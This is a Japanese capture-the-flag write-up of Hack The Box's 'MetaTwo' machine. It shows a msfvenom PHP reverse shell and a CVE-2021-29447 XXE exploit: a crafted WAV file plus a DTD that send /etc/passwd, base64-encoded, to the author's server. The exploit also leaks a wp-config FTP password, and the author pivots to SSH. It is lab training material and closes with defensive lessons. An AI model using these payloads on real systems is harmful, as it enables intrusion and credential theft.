初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「MetaTwo」にチャレンジした際の WriteUp - その2 になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※個人的に学びになったので備忘録で記載します。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
「Write Up - その1」の記事は以下です。
Persistence
Reverse Shell
ログインに成功すると、以下のようにアップロードできそうな項目が見つかるので、足場構築のためにリバースシェルを叩き込んでみる。
リバースシェル用のIPを確認する。以下抜粋。
※この場合はtun0
┌──(root💀kali)-[~/work]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
7: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.20/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1012/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::c387:6e9c:124b:8e4e/64 scope link stable-privacy
valid_lft forever preferred_lft forever
リバースシェルを作成。
┌──(root💀kali)-[~/work]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=4444 -f raw > shell.php
サイトへアップロード。
「Sorry, this file type is not permitted for security reasons.」って言われる!!だめか!!
ちょっと調べると以下のサイトで書かれているが、特定の拡張子じゃないと駄目のようである。。。
攻め方を考えないといけない。
CVE-2021-29447
「Write Up - その1」で調べていたWordPress5.6.2の脆弱性で気になっていたものがある。CVE-2021-29447である。XXE攻撃だ。
この攻撃の流れでWAVファイルを攻撃対象に注入するものがあったのを思い出した。
...この脆弱性使えそう!!!
以下のGitHubを参考にする。
WAVファイルmalicious.wav
作成。
┌──(root💀kali)-[~/work]
└─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.20:8000/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
攻撃対象がアクセスするevil.dtd
を作成しておく。
以下では「/etc/passwd」の内容をp
クエリにBASE64エンコードされた状態で飛ばさせる仕様だ。
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.20:8000/?p=%file;'>" >
BASE64をデコードできるように以下のファイルも作成しておく。
<?php
echo zlib_decode(base64_decode('[ここにBASE64エンコードをコピペします]'));
evil.dtd
にアクセスさせるために簡易的にサーバーを起動しておく。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 8000 --bind 10.10.14.20
Serving HTTP on 10.10.14.20 port 8000 (http://10.10.14.20:8000/) ...
WAVファイルmalicious.wav
を先ほどのWordPressのページへアップロードします。
するとリクエストが来ます。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 8000 --bind 10.10.14.20
Serving HTTP on 10.10.14.20 port 8000 (http://10.10.14.20:8000/) ...
10.10.11.186 - - [03/Nov/2022 20:59:54] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:55] "GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:55] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.186 - - [03/Nov/2022 20:59:56] "GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== HTTP/1.1" 200 -
p
クエリの中身を先ほどのdecrypt.php
の中身に貼り付けます。
その後、以下のコマンドを実行し、デコードしたものを見ます。
┌──(root💀kali)-[~/work]
└─# php ./decrypt.php
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
jnelson
のrsaキー取れそうですな。
evil.dtd
の「/etc/passwd
」を「/home/jnelson/.ssh/id_rsa
」に書き換えて実行してみた。
...p
クエリが帰ってこない....なんでや...
もしかしてないのか???こんな足場構築時間かかるか!?
ディレクトリ階層はReadできるようになったので、別ルートから何かしら発見する必要がありそうだ...
Nginx Config
とりあえずどこになにがあるかはちょっと微妙だが、FTP、Nginxのサービスは立ち上がっていることはNmap
から把握しているのでそれぞれのコンフィグ階層を探ってみる。
以下ファイルを探ってみた。
- /etc/vsftpd/vsftpd.conf
- /etc/nginx/nginx.conf
FTPはかえって来なかったが、Nginxのコンフィグ階層は帰ってきた。
HTTPのデフォルトルートページの記述はなかったが、そのファイルの中で「/etc/nginx/sites-enabled/
」を参照している記述を発見したので「/etc/nginx/sites-enabled/default
」を取ってくる。
そのファイルの中身を確認すると/var/www/metapress.htb/blog
がこのWordPressの資材を置いている階層のようである。
dirsearch
で見つけていた以下ファイルをとりあえず取ってきてみる。
- /wp-admin/setup-config.php
- /wp-admin/install.php
- /wp-config.php
すると、「wp-config.php
」にFTPのクレデンシャルが記載されていた。
※以下抜粋
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
じゃぁFTPやってみましょう!!
FTP
┌──(root💀kali)-[~/work]
└─# ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:kali): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer
226 Transfer complete
入れた。2階層見える。
ftp> cd blog
250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 14:12 ..
drwxr-xr-x 9 metapress.htb metapress.htb 4096 Oct 5 14:12 wp-admin
drwxr-xr-x 6 metapress.htb metapress.htb 4096 Oct 5 14:12 wp-content
drwxr-xr-x 25 metapress.htb metapress.htb 12288 Oct 5 14:12 wp-includes
-rw-r--r-- 1 metapress.htb metapress.htb 2032 Jun 23 18:12 wp-config.php
-rw-r--r-- 1 metapress.htb metapress.htb 633 Jun 23 18:11 .htaccess
-rw-r--r-- 1 metapress.htb metapress.htb 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 metapress.htb metapress.htb 49831 Nov 9 2020 wp-login.php
-rw-r--r-- 1 metapress.htb metapress.htb 2328 Oct 8 2020 wp-comments-post.php
-rw-r--r-- 1 metapress.htb metapress.htb 4747 Oct 8 2020 wp-trackback.php
-rw-r--r-- 1 metapress.htb metapress.htb 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 metapress.htb metapress.htb 3939 Jul 30 2020 wp-cron.php
-rw-r--r-- 1 metapress.htb metapress.htb 7101 Jul 28 2020 wp-activate.php
-rw-r--r-- 1 metapress.htb metapress.htb 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 metapress.htb metapress.htb 3236 Jun 8 2020 xmlrpc.php
-rw-r--r-- 1 metapress.htb metapress.htb 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 metapress.htb metapress.htb 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 metapress.htb metapress.htb 405 Feb 6 2020 index.php
-rw-r--r-- 1 metapress.htb metapress.htb 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 metapress.htb metapress.htb 2913 Feb 6 2020 wp-config-sample.php
-rw-r--r-- 1 metapress.htb metapress.htb 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 metapress.htb metapress.htb 3300 Feb 6 2020 wp-load.php
226 Transfer complete
blog
はWordPressのファイルばかりで特段いいものなさそう。
ftp> cd ../mailer
250 CWD command successful
ftp> ls -lta
200 PORT command successful
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 14:12 ..
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php
226 Transfer complete
mailer
には色々ありそう。
とりあえず2ファイルをDLする。
ftp> get PHPMailer
local: PHPMailer remote: PHPMailer
200 PORT command successful
550 PHPMailer: Not a regular file
ftp> get send_email.php
local: send_email.php remote: send_email.php
200 PORT command successful
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
226 Transfer complete
1126 bytes received in 0.00 secs (19.5243 MB/s)
中身を見ると、send_email.php
にjnelson
のクレデンシャル情報が...
これでSSHしてみる。
いった!!!
学び
WordPressのバージョンがわかってしまうと、攻撃の起点となる脆弱性を多用されて侵入を許さすこととなるので、できるだけバージョンを見せないようにしましょう。
また、WordPressは大勢使用しているフレームワークなので狙われることが多く、脆弱性が頻繁に出てきています。プラグインやテーマ、PHP自体の脆弱性を含むと相当数あることとなります。
なので、頻繁に脆弱性をチェックし、脆弱性が見つかった場合はバージョンアップやWAFでの制御など脆弱性を突かれないような運用が必要です。
※という自身の備忘録。
まとめ
これで一般システム権限を取れました。
次は Privilege Escalation の流れになりますが、本記事は一旦ここまでとさせて頂こう。
※というより、特権昇格に関してはそこまで自分の中で記事にするWillがないので 書かないと思います。普通のPGPのお話だし。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。